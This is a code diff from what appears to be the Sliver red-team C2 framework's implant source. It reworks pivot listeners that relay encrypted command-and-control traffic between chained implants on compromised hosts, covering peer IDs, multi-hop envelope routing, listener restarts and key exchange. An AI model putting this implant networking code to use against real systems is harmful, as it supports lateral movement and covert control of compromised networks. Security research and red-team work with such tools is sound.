pivotListeners = &sync.Map{}
|
||||
stoppedPivotListeners = &sync.Map{}
|
||||
|
||||
PeerID = PivotID() // This implant's Peer ID, a per-execution instance ID
|
||||
listenerID = uint32(0)
|
||||
|
||||
// MyPeerID - This implant's Peer ID, a per-execution instance ID
|
||||
MyPeerID = generatePeerID()
|
||||
|
||||
pivotReadDeadline = 10 * time.Second
|
||||
pivotWriteDeadline = 10 * time.Second
|
||||
)
|
||||
|
||||
// StartListener - Generic interface to a start listener function
|
||||
type StartListener func(string, chan<- *pb.Envelope) (*PivotListener, error)
|
||||
// generatePeerID - Generate a new pivot id
|
||||
func generatePeerID() int64 {
|
||||
buf := make([]byte, 8)
|
||||
_, err := rand.Read(buf)
|
||||
if err != nil {
|
||||
return time.Now().UnixNano() // These need only be unique
|
||||
}
|
||||
peerID := int64(binary.LittleEndian.Uint64(buf))
|
||||
if peerID == int64(0) {
|
||||
return time.Now().UnixNano()
|
||||
}
|
||||
return peerID
|
||||
}
|
||||
|
||||
// CreateListener - Generic interface to a start listener function
|
||||
type CreateListener func(string, chan<- *pb.Envelope) (*PivotListener, error)
|
||||
|
||||
// GetListeners - Get a list of active listeners
|
||||
func GetListeners() []*pb.PivotListener {
|
||||
@@ -68,9 +90,56 @@ func GetListeners() []*pb.PivotListener {
|
||||
|
||||
// AddListener - Add a listener
|
||||
func AddListener(listener *PivotListener) {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[pivot] my peer id: %d", MyPeerID)
|
||||
log.Printf("[pivot] adding listener: %s", listener.BindAddress)
|
||||
// {{end}}
|
||||
pivotListeners.Store(listener.ID, listener)
|
||||
}
|
||||
|
||||
// RemoveListener - Stop a pivot listener
|
||||
func RemoveListener(id uint32) {
|
||||
if listener, ok := pivotListeners.LoadAndDelete(id); ok {
|
||||
listener.(*PivotListener).Stop()
|
||||
}
|
||||
}
|
||||
|
||||
// RestartAllListeners - Start all pivot listeners
|
||||
func RestartAllListeners(send chan<- *pb.Envelope) {
|
||||
stoppedPivotListeners.Range(func(key, value interface{}) bool {
|
||||
stoppedListener := value.(*PivotListener)
|
||||
if createListener, ok := SupportedPivotListeners[stoppedListener.Type]; ok {
|
||||
listener, err := createListener(stoppedListener.BindAddress, send)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[pivot] failed to restart listener: %s", err)
|
||||
// {{end}}
|
||||
}
|
||||
go listener.Start()
|
||||
AddListener(listener)
|
||||
}
|
||||
return true
|
||||
})
|
||||
stoppedPivotListeners = nil
|
||||
}
|
||||
|
||||
// StopAllListeners - Stop all pivot listeners
|
||||
func StopAllListeners() {
|
||||
pivotListeners.Range(func(key, value interface{}) bool {
|
||||
value.(*PivotListener).Stop()
|
||||
return true
|
||||
})
|
||||
stoppedPivotListeners = pivotListeners
|
||||
pivotListeners = &sync.Map{}
|
||||
}
|
||||
|
||||
// StartListener - Stop a pivot listener
|
||||
func StartListener(id uint32) {
|
||||
if listener, ok := pivotListeners.Load(id); ok {
|
||||
listener.(*PivotListener).Start()
|
||||
}
|
||||
}
|
||||
|
||||
// StopListener - Stop a pivot listener
|
||||
func StopListener(id uint32) {
|
||||
if listener, ok := pivotListeners.Load(id); ok {
|
||||
@@ -79,71 +148,74 @@ func StopListener(id uint32) {
|
||||
}
|
||||
|
||||
// SendToPeer - Forward an envelope to a peer
|
||||
func SendToPeer(envelope *pb.Envelope) bool {
|
||||
peerEnvelope := &pb.PivotPeerEnvelope{}
|
||||
err := proto.Unmarshal(envelope.Data, peerEnvelope)
|
||||
func SendToPeer(envelope *pb.Envelope) (bool, error) {
|
||||
pivotPeerEnvelope := &pb.PivotPeerEnvelope{}
|
||||
err := proto.Unmarshal(envelope.Data, pivotPeerEnvelope)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Failed to unmarshal peer envelope: %s", err)
|
||||
// {{end}}
|
||||
return false
|
||||
return false, err
|
||||
}
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Peer Envelope: %v", peerEnvelope)
|
||||
log.Printf("Send to downstream pivot id: %d", peerEnvelope.PivotID)
|
||||
log.Printf("my peer envelope: %+v", pivotPeerEnvelope)
|
||||
// {{end}}
|
||||
|
||||
downstreamEnvelope := &pb.Envelope{
|
||||
Type: pb.MsgPivotPeerEnvelope,
|
||||
Data: peerEnvelope.Data,
|
||||
}
|
||||
err = proto.Unmarshal(peerEnvelope.Data, downstreamEnvelope)
|
||||
nextPeerID, err := findNextPeerID(pivotPeerEnvelope)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Failed to unmarshal downstream envelope: %s", err)
|
||||
log.Printf("Failed to find next peer id: %s", err)
|
||||
// {{end}}
|
||||
return false
|
||||
return false, err
|
||||
}
|
||||
|
||||
// NOTE: Yes linear search is bad, but there should be a very small
|
||||
// number of listeners and pivots so it should be fine
|
||||
sent := false // Controls iteration of outer loop
|
||||
pivotListeners.Range(func(key interface{}, value interface{}) bool {
|
||||
listener := value.(*PivotListener)
|
||||
listener.Pivots.Range(func(key interface{}, value interface{}) bool {
|
||||
pivot := value.(*NetConnPivot)
|
||||
if pivot.ID() == peerEnvelope.PivotID {
|
||||
pivot.Downstream <- downstreamEnvelope
|
||||
sent = true // break from the outer loop
|
||||
return false // stop iterating inner loop
|
||||
}
|
||||
return true // keep iterating inner loop
|
||||
})
|
||||
pivotConn, ok := listener.PivotConnections.Load(nextPeerID)
|
||||
if ok {
|
||||
pivot := pivotConn.(*NetConnPivot)
|
||||
pivot.Downstream <- envelope
|
||||
sent = true // break from the outer loop
|
||||
return false // stop iterating inner loop
|
||||
}
|
||||
return !sent // keep iterating while not sent
|
||||
})
|
||||
// {{if .Config.Debug}}
|
||||
if !sent {
|
||||
log.Printf("Failed to find pivot with id %d", peerEnvelope.PivotID)
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Failed to find peer with id %d", nextPeerID)
|
||||
// {{end}}
|
||||
return false, errors.New("peer not found")
|
||||
}
|
||||
// {{end}}
|
||||
return sent
|
||||
return sent, nil
|
||||
}
|
||||
|
||||
func findNextPeerID(pivotPeerEnvelope *pb.PivotPeerEnvelope) (int64, error) {
|
||||
for index, peer := range pivotPeerEnvelope.Peers {
|
||||
if peer.PeerID == MyPeerID {
|
||||
if 0 <= index-1 {
|
||||
return pivotPeerEnvelope.Peers[index-1].PeerID, nil
|
||||
}
|
||||
}
|
||||
}
|
||||
return int64(0), errors.New("next peer not found")
|
||||
}
|
||||
|
||||
// PivotListener - A pivot listener
|
||||
type PivotListener struct {
|
||||
ID uint32
|
||||
Type pb.PivotType
|
||||
Listener net.Listener
|
||||
Pivots *sync.Map // ID -> NetConnPivot
|
||||
BindAddress string
|
||||
Upstream chan<- *pb.Envelope
|
||||
ID uint32
|
||||
Type pb.PivotType
|
||||
Listener net.Listener
|
||||
PivotConnections *sync.Map // PeerID (int64) -> NetConnPivot
|
||||
BindAddress string
|
||||
Upstream chan<- *pb.Envelope
|
||||
}
|
||||
|
||||
// ToProtobuf - Get the protobuf version of the pivot listener
|
||||
func (l *PivotListener) ToProtobuf() *pb.PivotListener {
|
||||
pivotPeers := []*pb.PivotPeer{}
|
||||
l.Pivots.Range(func(key interface{}, value interface{}) bool {
|
||||
pivotPeers := []*pb.NetConnPivot{}
|
||||
l.PivotConnections.Range(func(key interface{}, value interface{}) bool {
|
||||
pivot := value.(*NetConnPivot)
|
||||
pivotPeers = append(pivotPeers, pivot.ToProtobuf())
|
||||
return true
|
||||
@@ -156,23 +228,47 @@ func (l *PivotListener) ToProtobuf() *pb.PivotListener {
|
||||
}
|
||||
}
|
||||
|
||||
// Stop - Stop the pivot listener
|
||||
func (l *PivotListener) Stop() {
|
||||
// Close all peer connections before closing listener
|
||||
l.Pivots.Range(func(key interface{}, value interface{}) bool {
|
||||
value.(*NetConnPivot).Close()
|
||||
return true
|
||||
})
|
||||
l.Pivots = nil
|
||||
l.Listener.Close()
|
||||
// Start - Start the pivot listener
|
||||
func (p *PivotListener) Start() {
|
||||
for {
|
||||
conn, err := p.Listener.Accept()
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[tcp-pivot] accept error: %s", err)
|
||||
// {{end}}
|
||||
return
|
||||
}
|
||||
// handle connection like any other net.Conn
|
||||
pivotConn := &NetConnPivot{
|
||||
conn: conn,
|
||||
readMutex: &sync.Mutex{},
|
||||
writeMutex: &sync.Mutex{},
|
||||
readDeadline: pivotReadDeadline,
|
||||
writeDeadline: pivotWriteDeadline,
|
||||
upstream: p.Upstream,
|
||||
Downstream: make(chan *pb.Envelope),
|
||||
}
|
||||
go pivotConn.Start(p.PivotConnections)
|
||||
}
|
||||
}
|
||||
|
||||
// PivotClose - Close a pivot connection
|
||||
func (l *PivotListener) PivotClose(id int64) {
|
||||
if p, ok := l.Pivots.Load(id); ok {
|
||||
l.Pivots.Delete(id)
|
||||
p.(*NetConnPivot).Close()
|
||||
// Stop - Stop the pivot listener
|
||||
func (l *PivotListener) Stop() {
|
||||
l.Listener.Close() // Stop accepting new connections
|
||||
|
||||
// Close all existing connections
|
||||
connectionIDs := []int64{}
|
||||
l.PivotConnections.Range(func(key interface{}, value interface{}) bool {
|
||||
connectionIDs = append(connectionIDs, key.(int64))
|
||||
return true
|
||||
})
|
||||
for _, id := range connectionIDs {
|
||||
pivotConn, ok := l.PivotConnections.LoadAndDelete(id)
|
||||
if ok {
|
||||
pivotConn.(*NetConnPivot).Close()
|
||||
}
|
||||
}
|
||||
l.PivotConnections = &sync.Map{} // Make sure we drop any refs
|
||||
}
|
||||
|
||||
// ListenerID - Generate a new pivot id
|
||||
@@ -181,55 +277,50 @@ func ListenerID() uint32 {
|
||||
return listenerID
|
||||
}
|
||||
|
||||
// PivotID - Generate a new pivot id
|
||||
func PivotID() int64 {
|
||||
buf := make([]byte, 8)
|
||||
rand.Read(buf)
|
||||
return int64(binary.LittleEndian.Uint64(buf))
|
||||
}
|
||||
|
||||
// NetConnPivot - A generic pivot connection to a peer via net.Conn
|
||||
type NetConnPivot struct {
|
||||
id int64
|
||||
conn net.Conn
|
||||
readMutex *sync.Mutex
|
||||
writeMutex *sync.Mutex
|
||||
cipherCtx *cryptography.CipherContext
|
||||
readDeadline time.Duration
|
||||
writeDeadline time.Duration
|
||||
downstreamPeerID int64
|
||||
conn net.Conn
|
||||
readMutex *sync.Mutex
|
||||
writeMutex *sync.Mutex
|
||||
cipherCtx *cryptography.CipherContext
|
||||
readDeadline time.Duration
|
||||
writeDeadline time.Duration
|
||||
|
||||
upstream chan<- *pb.Envelope
|
||||
Downstream chan *pb.Envelope
|
||||
}
|
||||
|
||||
// ID - ID of peer pivot
|
||||
func (p *NetConnPivot) ID() int64 {
|
||||
return p.id
|
||||
// DownstreamPeerID - ID of peer pivot
|
||||
func (p *NetConnPivot) DownstreamPeerID() int64 {
|
||||
return p.downstreamPeerID
|
||||
}
|
||||
|
||||
// ToProtobuf - Protobuf of pivot peer
|
||||
func (p *NetConnPivot) ToProtobuf() *pb.PivotPeer {
|
||||
return &pb.PivotPeer{
|
||||
ID: p.id,
|
||||
func (p *NetConnPivot) ToProtobuf() *pb.NetConnPivot {
|
||||
return &pb.NetConnPivot{
|
||||
PeerID: p.downstreamPeerID,
|
||||
RemoteAddress: p.RemoteAddress(),
|
||||
}
|
||||
}
|
||||
|
||||
// Start - Starts the TCP pivot connection handler
|
||||
// Start - Starts the pivot connection handler
|
||||
func (p *NetConnPivot) Start(pivots *sync.Map) {
|
||||
defer p.conn.Close()
|
||||
defer func() {
|
||||
p.conn.Close()
|
||||
}()
|
||||
err := p.peerKeyExchange()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[pivot] peer key exchange completed successfully")
|
||||
log.Printf("[pivot] peer key exchange completed successfully with peer %d", p.downstreamPeerID)
|
||||
// {{end}}
|
||||
|
||||
// We don't want to register the peer prior to the key exchange
|
||||
// Add & remove self from listener pivots map
|
||||
pivots.Store(p.ID(), p)
|
||||
defer pivots.Delete(p.ID())
|
||||
pivots.Store(p.DownstreamPeerID(), p)
|
||||
defer pivots.Delete(p.DownstreamPeerID())
|
||||
|
||||
go func() {
|
||||
defer close(p.Downstream)
|
||||
@@ -246,22 +337,30 @@ func (p *NetConnPivot) Start(pivots *sync.Map) {
|
||||
Type: pb.MsgPivotPeerPing,
|
||||
Data: envelope.Data,
|
||||
}
|
||||
} else {
|
||||
} else if envelope.Type == pb.MsgPivotPeerEnvelope {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[pivot] received peer envelope, upstreaming (%d) ...", envelope.Type)
|
||||
// {{end}}
|
||||
envelopeData, _ := proto.Marshal(envelope)
|
||||
data, _ := proto.Marshal(&pb.PivotPeerEnvelope{
|
||||
PeerID: PeerID, // This proccess' Peer ID
|
||||
PivotID: p.ID(), // The Pivot connection ID
|
||||
Name: consts.SliverName,
|
||||
Data: envelopeData,
|
||||
})
|
||||
p.upstream <- &pb.Envelope{
|
||||
ID: 0, // Pivot server implementation uses handlers, so ID must be zero
|
||||
Type: pb.MsgPivotPeerEnvelope,
|
||||
Data: data,
|
||||
peerEnvelope := &pb.PivotPeerEnvelope{}
|
||||
err := proto.Unmarshal(envelope.Data, peerEnvelope)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[pivot] error un-marshalling peer envelope: %s", err)
|
||||
// {{end}}
|
||||
continue
|
||||
}
|
||||
// Append ourselves to the list of peers, and then upstream
|
||||
peerEnvelope.Peers = append(peerEnvelope.Peers, &pb.PivotPeer{
|
||||
PeerID: MyPeerID,
|
||||
Name: consts.SliverName,
|
||||
})
|
||||
envelope.Data, _ = proto.Marshal(peerEnvelope)
|
||||
p.upstream <- envelope
|
||||
} else {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[pivot] received unknown message type (%d), dropping ...", envelope.Type)
|
||||
// {{end}}
|
||||
continue
|
||||
}
|
||||
}
|
||||
}()
|
||||
@@ -269,6 +368,15 @@ func (p *NetConnPivot) Start(pivots *sync.Map) {
|
||||
for envelope := range p.Downstream {
|
||||
err := p.writeEnvelope(envelope)
|
||||
if err != nil {
|
||||
if p.downstreamPeerID != 0 {
|
||||
p.upstream <- &pb.Envelope{
|
||||
Type: pb.MsgPivotPeerFailure,
|
||||
Data: mustMarshal(&pb.PivotPeerFailure{
|
||||
Type: pb.PeerFailureType_DISCONNECT,
|
||||
PeerID: p.downstreamPeerID,
|
||||
}),
|
||||
}
|
||||
}
|
||||
return
|
||||
}
|
||||
}
|
||||
@@ -301,6 +409,7 @@ func (p *NetConnPivot) peerKeyExchange() error {
|
||||
// {{end}}
|
||||
return ErrFailedKeyExchange
|
||||
}
|
||||
p.downstreamPeerID = peerHello.PeerID
|
||||
sessionKey := cryptography.RandomKey()
|
||||
p.cipherCtx = cryptography.NewCipherContext(sessionKey)
|
||||
ciphertext, err := cryptography.ECCEncryptToPeer(peerHello.PublicKey, peerHello.PublicKeySignature, sessionKey[:])
|
||||
@@ -461,3 +570,8 @@ func (p *NetConnPivot) RemoteAddress() string {
|
||||
func (p *NetConnPivot) Close() error {
|
||||
return p.conn.Close()
|
||||
}
|
||||
|
||||
func mustMarshal(msg proto.Message) []byte {
|
||||
data, _ := proto.Marshal(msg)
|
||||
return data
|
||||
}
|
||||
@@ -24,6 +24,6 @@ import (
|
||||
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
)
|
||||
|
||||
var SupportedPivotListeners = map[pb.PivotType]StartListener{
|
||||
pb.PivotType_TCP: StartTCPPivotListener,
|
||||
var SupportedPivotListeners = map[pb.PivotType]CreateListener{
|
||||
pb.PivotType_TCP: CreateTCPPivotListener,
|
||||
}
|
||||
@@ -22,7 +22,7 @@ import (
|
||||
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
)
|
||||
|
||||
var SupportedPivotListeners = map[pb.PivotType]StartListener{
|
||||
pb.PivotType_TCP: StartTCPPivotListener,
|
||||
pb.PivotType_NamedPipe: StartNamedPipePivotListener,
|
||||
var SupportedPivotListeners = map[pb.PivotType]CreateListener{
|
||||
pb.PivotType_TCP: CreateTCPPivotListener,
|
||||
pb.PivotType_NamedPipe: CreateNamedPipePivotListener,
|
||||
}
|
||||
Loaded 100 of 803 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user